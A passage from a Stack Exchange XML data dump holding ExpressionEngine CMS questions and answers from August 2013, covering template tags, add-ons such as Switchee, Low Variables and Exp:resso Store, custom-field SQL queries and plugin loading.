&amp;lt;aside class=&quot;right-sidebar&quot;&amp;gt;&#xA;                        &amp;lt;div class=&quot;widget&quot;&amp;gt;&#xA;                                        &amp;lt;div class=&quot;widget-title&quot;&amp;gt;&amp;lt;h5 class=&quot;thin&quot;&amp;gt;&amp;lt;strong&amp;gt;About this project&amp;lt;/strong&amp;gt;&amp;lt;/h5&amp;gt;&amp;lt;/div&amp;gt;&#xA;                                        {exp:channel:entries channel=&quot;portfolio&quot; orderby=&quot;date&quot; sort=&quot;desc&quot; limt=&quot;1&quot;}&#xA;                                        &amp;lt;p&amp;gt;{portfolio_texto}&amp;lt;/p&amp;gt;&#xA;                                        {/exp:channel:entries}&#xA;                        &amp;lt;/div&amp;gt;&#xA;                        &amp;lt;/div&amp;gt;&#xA;                        &amp;lt;/aside&amp;gt;&#xA;&#xA;                &amp;lt;/div&amp;gt;&#xA;        &amp;lt;/div&amp;gt;&#xA;        &amp;lt;/section&amp;gt;&#xA;        &amp;lt;!-- end portfolio bigger --&amp;gt;&#xA;        {/case}&#xA;&#xA;        {/exp:switchee}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="1852" LastEditorUserId="343" LastEditDate="2013-08-04T22:28:16.203" LastActivityDate="2013-08-06T22:00:18.960" Title="Switchee not working" Tags="|switchee|" AnswerCount="2" CommentCount="5" ContentLicense="CC BY-SA 3.0" />
  <row Id="12474" PostTypeId="2" ParentId="12468" CreationDate="2013-08-04T18:38:29.250" Score="1" Body="&lt;p&gt;In some instances you have to add the addon's path as a package path to the loader:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$this-&amp;gt;EE =&amp;amp; get_instance();&#xA;$this-&amp;gt;EE-&amp;gt;load-&amp;gt;add_package_path(PATH_THIRD.'your_addon_name/');&#xA;$this-&amp;gt;EE-&amp;gt;load-&amp;gt;library('litmus');&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="617" LastActivityDate="2013-08-04T18:38:29.250" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="12475" PostTypeId="2" ParentId="12406" CreationDate="2013-08-04T21:53:45.140" Score="0" Body="&lt;p&gt;Direct from the &lt;a href=&quot;http://pixelandtonic.com/blog/wygwam-3&quot; rel=&quot;nofollow&quot;&gt;blog post announcing WYGWAM 3&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;We’ve made some executive decisions on that last point: in Wygwam 3 you no longer have the option to customize font styles directly from the editor or add emoticons. If you have an issue with that, you’re probably using the wrong CMS to begin with.&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;" OwnerUserId="221" LastActivityDate="2013-08-04T21:53:45.140" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="12476" PostTypeId="2" ParentId="12473" CreationDate="2013-08-04T22:44:49.170" Score="2" Body="&lt;p&gt;Fabio!&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Your snippets will load any way. They are loaded before the parse of all modules. But this code should word as you're planing. The content of the unmatched snippets will be removed of your template.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Buuuuuuuuuuuuuuuut, from where are you calling the &lt;code&gt;portfolio_size&lt;/code&gt;? Are you using a &lt;code&gt;exp:channel:entries&lt;/code&gt; variable pair around the switchee? Because, the value of this variable needs to come from somewhere.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;By the way, you have a missing quotation mark on your ce_img variables:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{exp:ce_img:single src=&quot;{portfolio_image}&quot; width=&quot;932&quot; height=&quot;621&quot; crop=&quot;yes&quot; alt=&quot;{portfolio_image_title}}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;It should be:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{exp:ce_img:single src=&quot;{portfolio_image}&quot; width=&quot;932&quot; height=&quot;621&quot; crop=&quot;yes&quot; alt=&quot;{portfolio_image_title}&quot;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="343" LastActivityDate="2013-08-04T22:44:49.170" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="12477" PostTypeId="1" CreationDate="2013-08-05T03:47:02.050" Score="1" ViewCount="2835" Body="&lt;p&gt;Forgive me if I missing something obvious, but I have a need to select channel entries from the EE database, but I want to select those entries based on a value assigned to one of my channels custom fields. In the &lt;code&gt;exp_channel_data&lt;/code&gt; table though I have no guaranteed way of knowing which column that data might be in due to how EE adds columns to the table. It could be &lt;code&gt;field_id_27&lt;/code&gt; or &lt;code&gt;field_id_123&lt;/code&gt;. I could look in the admin, get the ID and then infer the column name, but that's clunky. Also, I'm trying to use this in a custom plug-in and I can't assume the ID will always be the same as I move the code from EE install to EE install. So what I want to know, and can't find, is what is the recommend method to build a SQL query in EE to be able to use a particular custom field in your WHERE clause?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;To put it another way, if my custom field is named &lt;code&gt;my_cutom_field&lt;/code&gt; what I want to do is be able to say:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;code&gt;WHERE my_custom_field = 'some value'&lt;/code&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I hope this question makes sense.&lt;/p&gt;&#xA;" OwnerUserId="384" LastActivityDate="2013-08-06T05:59:19.900" Title="SQL SELECT using custom field name (not ID) in WHERE" Tags="|custom-fields|query|mysql|" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="12478" PostTypeId="1" CreationDate="2013-08-05T04:45:20.537" Score="1" ViewCount="253" Body="&lt;p&gt;Let's say I have two channels, call them &quot;primary&quot; and &quot;secondary&quot;. Channel &lt;code&gt;secondary&lt;/code&gt; is referenced in channel &lt;code&gt;primary&lt;/code&gt; as a relationship.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Now I want to search the entries of &lt;code&gt;secondary&lt;/code&gt; based on fields from both channels.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;So for example:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{exp:channel:entries channel=&quot;secondary&quot; search:field1=&quot;foo&quot; search:field2=&quot;foo&quot; {related_entries}search:field1=&quot;foo&quot;{/related_entries}}&#xA;// show entries from channel secondary with &quot;foo&quot; in field1 and field2, and field1 from channel primary&#xA;{/exp:channel:entries}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Obviously that's just pseudo code, but hopefully it illustrates my aim. Also note that I'm using EE 2.5.2, hence the old style tag pair.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I think I read that I would instead need to use reverse related entries, but I'm not sure how that would work. It seems like that would pose the same problem.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Any help would be appreciated.&lt;/p&gt;&#xA;" OwnerUserId="1646" LastActivityDate="2013-08-27T22:00:54.567" Title="Search both channel fields and related entries fields" Tags="|search|relationships|related-entries|reverse-related-entries|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="12479" PostTypeId="1" CreationDate="2013-08-05T09:15:05.623" Score="1" ViewCount="495" Body="&lt;p&gt;Have inherited an EE build that uses Structure and has a handful of channels.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;There is 1 'page' type and 4 'listings'. Unfortunately, the dev has decided to use 1 template for the single entry views of each. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Does anyone know how I can modify the template being used for each of the entries (1000s) in a given channel?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I know there's this script but that changes the template for everything &lt;a href=&quot;http://buildwithstructure.com/documentation/how_can_i_batch_update_templates_for_existing_entries/&quot; rel=&quot;nofollow&quot;&gt;http://buildwithstructure.com/documentation/how_can_i_batch_update_templates_for_existing_entries/&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;It seems that Structure stores the template against the entry in a base64 encoded field (site_pages) inside exp_sites but can't see any way to change.&lt;/p&gt;&#xA;" OwnerUserId="146" LastActivityDate="2013-10-19T13:58:57.730" Title="changing the assigned template to Structure listing" Tags="|php|structure|mysql|template-scripting|" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="12480" PostTypeId="2" ParentId="12311" CreationDate="2013-08-05T09:16:28.393" Score="0" Body="&lt;p&gt;seems the language files got borked on a previous unsuccessful upgrade. Restored from a backup and it ran fine.&lt;/p&gt;&#xA;" OwnerUserId="146" LastActivityDate="2013-08-05T09:16:28.393" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="12481" PostTypeId="2" ParentId="12467" CreationDate="2013-08-05T10:02:46.713" Score="1" Body="&lt;p&gt;Same issue here using MAMP Pro - It appears that skin.js is being called, but is missing from the themes dir&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;Uncaught SyntaxError: Unexpected token &amp;lt; /themes/third_party/wygwam/lib/ckeditor/skins/wygwam3/skin.js?t=C3HH5RL:1&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;As far as I can tell, this file is not present in the download. My guess is that this was not carried over from a previous version so if you're doing a fresh install this file will be missing. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;However, if you've got a previous version, just copy the skin.js file over from &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;/themes/third_party/wygwam/lib/ckeditor/skins/wygwam2/skin.js&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;and you should be back in business  - if you don't have a copy of V2, then you'll need to email support and notify them of this missing file. &lt;/p&gt;&#xA;" OwnerUserId="39" LastActivityDate="2013-08-05T10:02:46.713" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="12484" PostTypeId="1" CreationDate="2013-08-05T12:48:43.467" Score="2" ViewCount="566" Body="&lt;p&gt;I have a channel which is growing large through automatic daily imports.  Is there any way to automatically remove (prune) entries older than X days?  I've looked through the extension space without joy.  It would certainly be possible to do this directly in the db but there are quite a few tables to deal with (sorry, that sounds whiny, eh?).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Anyway, I'd be glad for any thoughts or pointers.  Thanks.&lt;/p&gt;&#xA;" OwnerUserId="821" LastActivityDate="2014-08-21T11:30:26.237" Title="Automatically removing old entries" Tags="|database|entries|" AnswerCount="2" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="12485" PostTypeId="2" ParentId="12477" CreationDate="2013-08-05T12:57:32.187" Score="1" Body="&lt;p&gt;How about using a &lt;code&gt;JOIN&lt;/code&gt; on &lt;code&gt;exp_channel_fields&lt;/code&gt; which contains the field metadata?&lt;/p&gt;&#xA;" OwnerUserId="821" LastActivityDate="2013-08-05T12:57:32.187" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="12486" PostTypeId="2" ParentId="12297" CreationDate="2013-08-05T13:01:49.357" Score="0" Body="&lt;p&gt;You can use an add-on called Categories to Text which will save all an entry's categories into a channel field automatically.&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;github: &lt;a href=&quot;http://github.com/shoeshine/categories-to-text&quot; rel=&quot;nofollow&quot;&gt;http://github.com/shoeshine/categories-to-text&lt;/a&gt;&lt;/li&gt;&#xA;&lt;li&gt;devot-ee: &lt;a href=&quot;http://devot-ee.com/add-ons/categories-to-text&quot; rel=&quot;nofollow&quot;&gt;http://devot-ee.com/add-ons/categories-to-text&lt;/a&gt;&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;" OwnerUserId="69" LastEditorUserId="69" LastEditDate="2013-08-05T13:38:40.783" LastActivityDate="2013-08-05T13:38:40.783" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="12487" PostTypeId="1" CreationDate="2013-08-05T14:13:32.607" Score="2" ViewCount="120" Body="&lt;p&gt;I have an issue with the Mollie payment method. &#xA;I keep getting this error &quot;The Issuer field is required.&quot;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Any ideas why?&lt;/p&gt;&#xA;" OwnerUserId="1856" LastEditorUserId="69" LastEditDate="2013-08-05T17:47:24.807" LastActivityDate="2013-12-09T20:37:30.847" Title="Store - The Issuer field is required" Tags="|expresso-store|" AnswerCount="2" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="12488" PostTypeId="2" ParentId="12479" CreationDate="2013-08-05T14:54:09.353" Score="1" Body="&lt;p&gt;Give this script a try to edit the templates: &lt;a href=&quot;http://buildwithstructure.com/documentation/how_can_i_batch_update_templates_for_existing_entries/&quot; rel=&quot;nofollow&quot;&gt;http://buildwithstructure.com/documentation/how_can_i_batch_update_templates_for_existing_entries/&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="726" LastActivityDate="2013-08-05T14:54:09.353" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="12489" PostTypeId="1" AcceptedAnswerId="12493" CreationDate="2013-08-05T15:00:55.483" Score="0" ViewCount="194" Body="&lt;p&gt;I need to use an advanced conditional with &lt;a href=&quot;http://gotolow.com/addons/low-variables&quot; rel=&quot;nofollow&quot;&gt;Low Variables&lt;/a&gt; and am having trouble getting it to work. I believe it's a parse order thing but am not sure how to get around it.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I am checking the current date/time against 2 Low Variables to see if the current date/time is in between 2 variables.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{if '{current_time format=&quot;%F %d - %g:%i %a&quot;}' &amp;gt;= '{date_start}' AND '{current_time format=&quot;%F %d - %g:%i %a&quot;}' &amp;lt;= '{date_end}'}&#xA;Show some content&#xA;{/if}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;date_start &amp;amp; date_end are the Low Variables &amp;amp; I have both of them set to parse early.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Any help is appreciated.&lt;/p&gt;&#xA;" OwnerUserId="434" LastEditorUserId="27" LastEditDate="2013-08-05T17:47:34.743" LastActivityDate="2013-08-05T17:49:18.570" Title="Advanced conditional &amp; Low Variable parse order" Tags="|parse-order|low-variables|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="12491" PostTypeId="2" ParentId="12484" CreationDate="2013-08-05T15:41:56.643" Score="1" Body="&lt;p&gt;You can set &quot;expiration date&quot; to hide entries from displaying on front-end after certain date. And there could be an extension that will remove expired entries, if you worry about database growing too large. Though personally I would keep all entries, at least just for the record.&lt;/p&gt;&#xA;" OwnerUserId="19" LastActivityDate="2013-08-05T15:41:56.643" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="12492" PostTypeId="2" ParentId="12469" CreationDate="2013-08-05T15:46:54.280" Score="0" Body="&lt;p&gt;Does removing the forced parse help? Change &lt;code&gt;&quot;{extension}&quot;&lt;/code&gt; to just &lt;code&gt;extension&lt;/code&gt;.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{group_files}&#xA;{if extension == &quot;docx&quot;}&#xA;    doc&#xA;{if:elseif extension == &quot;doc&quot;}&#xA;    doc&#xA;{if:elseif extension == &quot;pdf&quot;}&#xA;    pdf&#xA;{if:else}&#xA;    txt&#xA;{/if}&#xA;{/group_files}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Or with &lt;strong&gt;IfElse&lt;/strong&gt; add-on just add wrapping tag pair: &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{exp:ifelse parse=&quot;inward&quot;}  &#xA;  {group_files}&#xA;    {if extension == &quot;docx&quot;}&#xA;      docx&#xA;    {if:elseif extension == &quot;doc&quot;}&#xA;      doc&#xA;    {if:elseif extension == &quot;pdf&quot;}&#xA;      pdf&#xA;    {if:else}&#xA;      txt&#xA;    {/if}&#xA;  {/group_files}&#xA;{/exp:ifelse}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="69" LastActivityDate="2013-08-05T15:46:54.280" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="12493" PostTypeId="2" ParentId="12489" CreationDate="2013-08-05T17:03:55.277" Score="0" Body="&lt;p&gt;This conditional will never work because the format you chose. &quot;%F %d - %g:%i %a&quot; isn't a number and just numbers can use &lt;code&gt;&amp;gt;&lt;/code&gt;, &lt;code&gt;&amp;gt;=&lt;/code&gt;, &lt;code&gt;&amp;lt;&lt;/code&gt; and &lt;code&gt;&amp;lt;=&lt;/code&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You need to &lt;a href=&quot;http://ellislab.com/expressionengine/user-guide/templates/date_variable_formatting.html#date-formatting-codes&quot; rel=&quot;nofollow&quot;&gt;format&lt;/a&gt; all variables used in this conditionals as seconds since &lt;a href=&quot;https://en.wikipedia.org/wiki/Epoch_%28reference_date%29&quot; rel=&quot;nofollow&quot;&gt;Epoch&lt;/a&gt;.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{if {current_time format=&quot;%U&quot;} &amp;gt;= {date_start} AND {current_time format=&quot;%U&quot;} &amp;lt;= {date_end} }&#xA;  Show some content&#xA;{/if}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Remember that your Low Variables need to be formated this way too! If you can't, there are some addons which can change the format of a date. &lt;a href=&quot;http://gotolow.com/addons/low-nice-date/&quot; rel=&quot;nofollow&quot;&gt;Low has one&lt;/a&gt;.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{exp:low_nice_date date=&quot;{date_start}&quot; format=&quot;%U&quot;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;So:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{if {current_time format=&quot;%U&quot;} &amp;gt;= {exp:low_nice_date date=&quot;{date_start}&quot; format=&quot;%U&quot;} AND {current_time format=&quot;%U&quot;} &amp;lt;= {exp:low_nice_date date=&quot;{date_end}&quot; format=&quot;%U&quot;} }&#xA;  Show some content&#xA;{/if}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="343" LastEditorUserId="343" LastEditDate="2013-08-05T17:49:18.570" LastActivityDate="2013-08-05T17:49:18.570" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="12494" PostTypeId="1" AcceptedAnswerId="12503" CreationDate="2013-08-05T18:44:59.847" Score="7" ViewCount="308" Body="&lt;p&gt;The &lt;a href=&quot;https://exp-resso.com/store&quot;&gt;Exp:resso Store&lt;/a&gt; plugin by default assigns all new orders to the New status. This in turn triggers the New status email confirmation to be sent out.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The problem I'm dealing with is that I have a few orders that need to completely bypass the New status. Those orders are submitted using a separate form from the rest of the orders, and as such, I'd like to be able to give them a separate Status so that the default New order email confirmation never gets sent out for them.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Any ideas on how I might accomplish this? Thanks for any help you can offer!&lt;/p&gt;&#xA;" OwnerUserId="1857" LastEditorUserId="27" LastEditDate="2013-08-06T10:41:43.683" LastActivityDate="2013-08-06T10:41:43.683" Title="Specify Order Status in Exp:resso Store Checkout Process" Tags="|expresso-store|" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="12495" PostTypeId="2" ParentId="12467" CreationDate="2013-08-05T18:49:30.527" Score="3" Body="&lt;p&gt;Everything was due to me having DevDemons Channel Images installed. &#xA;Without their WW-plugin they seems to kill each other :/&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Many Thanks Brad at P&amp;amp;T for sorting this out for me! &lt;/p&gt;&#xA;&#xA;&lt;p&gt;/patrick&lt;/p&gt;&#xA;" OwnerUserId="43" LastActivityDate="2013-08-05T18:49:30.527" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="12496" PostTypeId="2" ParentId="12435" CreationDate="2013-08-05T19:59:20.323" Score="0" Body="&lt;p&gt;I'm not sure this needs to be this complex - but you might be better served with a better image storage mechanism. I believe you can achieve what you're after using the metadata capabilities of either Assets, from Pixel &amp;amp; Tonic, or Channel Images from DevDemon. If you can pull your IPTC keywords into a Channel entry field, you should be able to access them via search, or perhaps more easily using the excellent Low Search.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;See also this great blog post from Low on EE searching, as well as this recent question that may help.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;http://gotolow.com/blog/a-low-search-primer&quot; rel=&quot;nofollow noreferrer&quot;&gt;http://gotolow.com/blog/a-low-search-primer&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://expressionengine.stackexchange.com/questions/12219/search-on-assets-pixel-tonic-meta-data&quot;&gt;Search on Assets (pixel &amp;amp; tonic) Meta Data&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="367" LastEditorUserId="-1" LastEditDate="2017-04-13T12:49:23.780" LastActivityDate="2013-08-05T19:59:20.323" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="12497" PostTypeId="1" CreationDate="2013-08-05T20:54:31.927" Score="0" ViewCount="41" Body="&lt;p&gt;Is it possible to use Category links that don't link to a different URL, but instead to a different part of a page.  So for example, I want the Category link that is generated to produce:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;a href=&quot;#section1&quot;&amp;gt;Section 1&amp;lt;/a&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;instead of:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;a href=&quot;section1&quot;&amp;gt;Section 1&amp;lt;/a&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;The &quot;#&quot; sign disappears when I try to change the &quot;Category URL Title&quot; field.&lt;/p&gt;&#xA;" OwnerUserId="1858" LastActivityDate="2013-08-05T21:32:05.477" Title="Category links to stay on the same page" Tags="|categories|links|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="12498" PostTypeId="1" CreationDate="2013-08-05T20:57:52.843" Score="0" ViewCount="71" Body="&lt;p&gt;Is it possible in EE 2.6.1 to have a super-admin create a member of another group, and have the system send a temporary password, and then have the user login to the front-end with that temporary password. These members will never have access to the control panel. Are there any good 3rd party modules that would accomplish this? &lt;/p&gt;&#xA;" OwnerUserId="1194" LastActivityDate="2013-08-06T02:08:29.337" Title="Member Temporary Password" Tags="|members|registration|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="12499" PostTypeId="2" ParentId="12497" CreationDate="2013-08-05T21:32:05.477" Score="2" Body="&lt;p&gt;Of course!&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The &lt;code&gt;path&lt;/code&gt; variable can be put aside and you can create the links by your own. Just code the href attribute as you need.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Some samples:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;a href=&quot;{path='channel/index'}&quot;&amp;gt;{category_name}&amp;lt;/a&amp;gt;&#xA;&amp;lt;a href=&quot;#{category_url_title}&quot;&amp;gt;{category_name}&amp;lt;/a&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="343" LastActivityDate="2013-08-05T21:32:05.477" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="12500" PostTypeId="2" ParentId="12395" CreationDate="2013-08-05T21:56:16.003" Score="0" Body="&lt;p&gt;Since I figured out that i can pass the javascript object to the template and do my parsing there, I decided to forego messing with the JSON in the template. I still handle the JSON in my plugin but I'm taking the passed parameters and building the JSON from it.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks for the help and comments.&lt;/p&gt;&#xA;" OwnerUserId="1725" LastActivityDate="2013-08-05T21:56:16.003" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="12501" PostTypeId="2" ParentId="12494" CreationDate="2013-08-05T21:58:38.813" Score="2" Body="&lt;p&gt;In Store &gt; Settings &gt; Orders Statuses click on the &lt;em&gt;Add New Status&lt;/em&gt; button. Give this status a name and then check the &lt;em&gt;Make Default&lt;/em&gt; checkbox. If you don't want an email to be sent out on this status assignment then in the Email Template field below ensure that no email template is selected (leave blank).&lt;/p&gt;&#xA;" OwnerUserId="422" LastActivityDate="2013-08-05T21:58:38.813" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="12502" PostTypeId="2" ParentId="12366" CreationDate="2013-08-05T22:08:00.840" Score="1" Body="&lt;p&gt;If this is just for your own reporting then you can make use of the Reports section by navigating to Store &gt; Reports and going to the Products Sold section. Enter in your custom date range (which can go back to the first purchase) and the items can be ordered by SKU. You can then view this report online or export it as a CSV or PDF which will contain the total number of products sold per SKU for a specified date range.&lt;/p&gt;&#xA;" OwnerUserId="422" LastActivityDate="2013-08-05T22:08:00.840" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="12503" PostTypeId="2" ParentId="12494" CreationDate="2013-08-05T23:56:18.740" Score="5" Body="&lt;p&gt;You will need to write an extension that would change or skip the default status based upon what items are in the cart. You can take a look at the available &lt;a href=&quot;https://exp-resso.com/docs/store/extension_hooks.html&quot; rel=&quot;noreferrer&quot;&gt;extension hooks&lt;/a&gt;. Your best bet would probably be the store_order_complete_end hook.&lt;/p&gt;&#xA;" OwnerUserId="115" LastActivityDate="2013-08-05T23:56:18.740" CommentCount="5" ContentLicense="CC BY-SA 3.0" />
  <row Id="12504" PostTypeId="2" ParentId="12487" CreationDate="2013-08-06T00:00:16.023" Score="1" Body="&lt;p&gt;From my understand of Mollie gateway it uses iDEAL gateway and iDEAL requires that you supply a card issuer field. From the &lt;a href=&quot;https://exp-resso.com/docs/store/payment_gateways.html#ideal&quot; rel=&quot;nofollow&quot;&gt;documentation&lt;/a&gt; for the iDEAL gateway you would need to add:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;select id=&quot;payment_issuer&quot; name=&quot;payment[issuer]&quot;&amp;gt;&#xA;  {ideal_issuer_options}&#xA;&amp;lt;/select&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;For the field to be filled properly.&lt;/p&gt;&#xA;" OwnerUserId="115" LastActivityDate="2013-08-06T00:00:16.023" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="12505" PostTypeId="2" ParentId="12445" CreationDate="2013-08-06T00:04:15.807" Score="0" Body="&lt;p&gt;You will need to modify the PayPal Express gateway files. There is another &lt;a href=&quot;https://expressionengine.stackexchange.com/questions/1079/expresso-store-list-items-on-paypal&quot;&gt;thread&lt;/a&gt; already that shows the steps involved. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;After you have made the changes you should see the items being passed along to PayPal.&lt;/p&gt;&#xA;" OwnerUserId="115" LastEditorUserId="-1" LastEditDate="2017-04-13T12:49:23.780" LastActivityDate="2013-08-06T00:04:15.807" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="12506" PostTypeId="1" AcceptedAnswerId="12508" CreationDate="2013-08-06T01:39:49.927" Score="1" ViewCount="118" Body="&lt;p&gt;I noticed that when I try send an email to another person, in quick sucession, I get a an error message that says that I should wait for 30 seconds before I can send next email.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;How do I remove this restriction?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I have seen in the documentation that there are some &lt;a href=&quot;http://ellislab.com/expressionengine/user-guide/cp/admin/channels/channel_edit_preferences.html&quot; rel=&quot;nofollow&quot;&gt;settings to edit re-submission time interval, but only for comments.&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;This is the contents of the body when I tried to submit&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;div id=&quot;content&quot;&amp;gt;&#xA;&amp;lt;h1&amp;gt;The form you submitted contained the following errors&amp;lt;/h1&amp;gt;&#xA;&amp;lt;ul&amp;gt;&amp;lt;li&amp;gt;You are only allowed to send a Private Message every 30 seconds&amp;lt;/li&amp;gt;&#xA;&amp;lt;/ul&amp;gt;&#xA;&amp;lt;p&amp;gt;&amp;lt;a href='JavaScript:history.go(-1)'&amp;gt;Return to Previous Page&amp;lt;/a&amp;gt;&amp;lt;/p&amp;gt;&#xA;&amp;lt;/div&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="636" LastEditorUserId="636" LastEditDate="2013-08-06T03:55:04.633" LastActivityDate="2013-08-06T04:55:47.290" Title="How to remove 30 second interval restriction when sending mail?" Tags="|messages|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
